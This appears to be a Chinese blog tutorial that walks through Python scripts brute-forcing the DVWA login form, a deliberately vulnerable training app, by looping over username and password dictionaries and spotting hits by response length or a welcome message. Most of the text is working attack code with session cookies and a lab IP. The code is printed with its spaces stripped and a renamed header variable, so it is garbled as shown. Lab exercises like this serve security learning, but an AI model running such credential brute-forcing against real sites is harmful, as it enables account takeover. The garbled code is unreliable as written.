今天教大家如何使用Python代码破解网站登录(在测试目标机上实验)。原理就是抓包修改。如果你了解过爬虫,相信你会很快看懂这篇文章。测试目标机为DVWA,适用于Low和Medium级别的DVWA暴力破解模块。关键代码解释url指定url地址url="http://192.168.171.2/dvwa/vulnerabilities/brute/"headersetrequestheaderheader={'User-Agent':'Mozilla/5.0(WindowsNT10.0;WOW64;rv:46.0)Gecko/20100101Firefox/46.0','Cookie':'security=medium;PHPSESSID=geo7gb3ehf5gfnbhrvuqu545i7'}payloadsetrequestparameterpayload={'username':username,'password':password,"Login":'Login'}这一行的作用是发起get请求,接收响应信息通过变量Response。response=requests.get(url,params=payload,headers=header)这两行代码循环遍历了账号和密码字典文件,然后给他们一个笛卡尔积循环暴力破解方法和Burp的Clusterbomb攻击入侵者模块同理。foradmininopen("C:\Users\admin\Documents\dictionary\account.txt"):forlineinopen("C:\Users\admin\Documents\dictionary\password.txt"):然后将循环结果存入csv文件,数据之间用逗号隔开。Response.status_code是响应的http状态码,len(Response.content)是http响应报文的长度。result=str(Response.status_code)+','+username+','\+password+','+str(len(Response.content))f.write(result+'\n')完整代码方法1、登录成功和失败返回的数据不同,所以数据包的长度也不同。数据包长度与其他数据不同的数据可能是正确的账户密码。importrequestsurl="http://192.168.171.2/dvwa/vulnerabilities/brute/"#proxies={"http":"http://127.0.0.1:8080"}#代理设置,方便burp抓包和查看标题={'User-Agent':'Mozilla/5.0(WindowsNT10.0;WOW64;rv:46.0)Gecko/20100101Firefox/46.0','Cookie':'security=medium;PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'}f=open('result.csv','w')f.write('状态码'+','+'用户名'+','+'密码'+','+'数据包length'+'\n')foradmininopen("C:\Users\admin\Documents\dictionary\account.txt"):forlineinopen("C:\Users\admin\Documents\dictionary\password.txt"):username=admin.strip()password=line.strip()payload={'username':username,'password':password,"Login":'Login'}Response=requests.get(url,params=payload,headers=header)result=str(Response.status_code)+','+username+','\+password+','+str(len(Response.content))f.write(result+'\n')print('\nComplete')运行这是脚本发送的数据包查看结果查看数据包长度与其他数据不同的是登录测试方法2这种方法是根据登录成功的返回特征来判断是否是正确的账号密码,然后将正确的账号密码输出到屏幕和txt文件中主要变化在第17到20行importrequestsurl="http://192.168.171.2/dvwa/vulnerabilities/brute/"#proxies={"http":"http://127.0.0.1:8080"}#proxy设置,方便burp抓包查看header={'User-Agent':'Mozilla/5.0(WindowsNT10.0;WOW64;rv:46.0)Gecko/20100101Firefox/46.0','Cookie':'security=medium;PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'}f=open('result.txt','w')foradmininopen("C:\Users\admin\Documents\dictionary\account.txt"):forlineinopen("C:\Users\admin\Documents\dictionary\password.txt"):username=admin.strip()password=line.strip()payload={'username':username,'password':password,"Login":'登录'}Response=requests.get(url,params=payload,headers=header)ifnot(Response.text.find('欢迎来到密码保护区')==-1):result=username+':'+passwordprint(result)f.write(result+'\n')print('\nCompleted')run以上就是本次分享的全部内容,如果你觉得文章还不错,欢迎关注公众号:Python编程学习圈,每日干货分享,发送“J”还可以领取大量学习资料或者上编程学习网了解更多编程技术知识。